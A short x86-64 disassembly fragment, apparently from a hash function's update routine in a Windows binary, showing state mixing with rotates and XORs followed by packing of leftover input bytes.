rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x14001cf30
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x14001cf9f
mov r9d, dword [rdx + r10]
mov r8d, 4
mov ecx, r8d
or ecx, 1
cmp ecx, r11d
jb 0x14001cfb0
jmp 0x14001cfcb
xor r9d, r9d
xor r8d, r8d
mov ecx, r8d
or ecx, 1
cmp ecx, r11d
jae 0x14001cfcb
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8d, r11d
jae 0x14001cfe5
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret